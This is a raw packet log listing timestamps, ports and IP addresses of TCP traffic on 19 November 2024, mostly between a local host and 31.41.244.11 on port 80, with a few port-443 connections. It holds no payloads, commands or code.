Nov 19, 2024 22:07:09.348123074 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.348175049 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.348236084 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.348284960 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.348309994 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.348366022 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.348387003 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.348428965 CET	443	49879	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:09.348433971 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.348473072 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.348530054 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.348550081 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.348576069 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.348608017 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.348640919 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.348654985 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.348686934 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.348731041 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.348748922 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.348778009 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.348783016 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.348799944 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.348815918 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.348826885 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.348850012 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.348881006 CET	49879	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:09.348891973 CET	443	49879	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:09.348896980 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.348929882 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.348977089 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.349008083 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.349030018 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.349056005 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.349121094 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.349181890 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.349235058 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.349261045 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.349303961 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.349314928 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.349359989 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.349390030 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.349440098 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.349453926 CET	49879	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:09.349459887 CET	443	49879	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:09.349484921 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.349530935 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.349554062 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.349571943 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.349601030 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.349625111 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.349649906 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.349697113 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.349708080 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.349761009 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.349803925 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.349819899 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.349852085 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.349879980 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.349922895 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.349940062 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.349986076 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.350159883 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.350223064 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.350227118 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.350267887 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.350297928 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.350336075 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.350399017 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.350466967 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.350467920 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.350517988 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.350522041 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.350565910 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.350684881 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.350766897 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.350778103 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.350807905 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.350866079 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.350881100 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.350914955 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.350960970 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.351010084 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.351027966 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.351104975 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.351150990 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.351172924 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.351221085 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.351381063 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.351429939 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.351457119 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.351505995 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.351550102 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.351597071 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.351600885 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.351613045 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.351651907 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.351654053 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.351699114 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.351728916 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.351777077 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.351793051 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.351809978 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.351839066 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.351866007 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.351885080 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.351932049 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.352014065 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.352061987 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.352086067 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.352128983 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.352158070 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.352205038 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.352248907 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.352302074 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.352330923 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.352384090 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.352396011 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.352422953 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.352427006 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.352535963 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.352591038 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.352619886 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.352669001 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.352680922 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.352722883 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.352766037 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.352811098 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.352838993 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.352888107 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.352935076 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.352983952 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.353096008 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.353147984 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.353200912 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.353247881 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.353291988 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.353338957 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.353362083 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.353409052 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.353420973 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.353435993 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.353466034 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.353467941 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.353518009 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.353543043 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.353575945 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.353625059 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.353712082 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.353749037 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.353761911 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.353766918 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.353796959 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.353816986 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.353826046 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.353842974 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.353882074 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.353888988 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.353923082 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.353935003 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.353940964 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.353956938 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.353969097 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.353976965 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.353996992 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.354012966 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.354020119 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.354053974 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.354064941 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.354074001 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.354099989 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.354121923 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.354150057 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.354167938 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.354185104 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.354212999 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.354239941 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.354247093 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.354259968 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.354278088 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.354291916 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.354310036 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.354325056 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.354331970 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.354370117 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.354372025 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.354389906 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.354433060 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.354463100 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.354480028 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.354496956 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.354515076 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.354516983 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.354530096 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.354542017 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.354547024 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.354566097 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.354584932 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.354598999 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.354603052 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.354620934 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.354634047 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.354655981 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.354681015 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.354688883 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.354700089 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.354717016 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.354739904 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.354769945 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.354796886 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.354867935 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.354871988 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.354911089 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.354939938 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.354954004 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.354971886 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.354988098 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.354995966 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.355005980 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.355017900 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.355024099 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.355037928 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.355058908 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.355073929 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.355079889 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.355093002 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.355124950 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.355134964 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.355171919 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.355171919 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.355190039 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.355207920 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.355215073 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.355240107 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.355256081 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.355266094 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.355273962 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.355290890 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.355299950 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.355329990 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.355334044 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.355346918 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.355371952 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.355392933 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.355401993 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.355412006 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.355443001 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.355447054 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.355459929 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.355479002 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.355483055 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.355505943 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.355537891 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.355542898 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.355556011 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.355580091 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.355601072 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.355601072 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.355617046 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.355633020 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.355652094 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.355659962 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.355669022 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.355680943 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.355698109 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.355719090 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.355720043 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.355751991 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.355758905 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.355802059 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.355808020 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.355837107 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.355848074 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.355870962 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.355880976 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.355917931 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.355942965 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.355961084 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.355977058 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.355993032 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.356004953 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.356012106 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.356029034 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.356041908 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.356061935 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.356080055 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.356080055 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.356096983 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.356115103 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.356116056 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.356132984 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.356139898 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.356173038 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.356182098 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.356192112 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.356209040 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.356215954 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.356226921 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.356236935 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.356245041 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.356261015 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.356262922 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.356286049 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.356312037 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.356322050 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.356357098 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.356364012 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.356408119 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.356409073 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.356441021 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.356452942 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.356472015 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.356487036 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.356503963 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.356527090 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.356535912 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.356554031 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.356563091 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.356570959 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.356589079 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.356601000 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.356621027 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.356638908 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.356664896 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.356682062 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.356698990 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.356714964 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.356726885 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.356731892 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.356749058 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.356749058 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.356789112 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.356820107 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.356820107 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.356836081 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.356852055 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.356869936 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.356884956 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.356916904 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.356920958 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.356935024 CET	80	49864	31.41.244.11	192.168.2.4
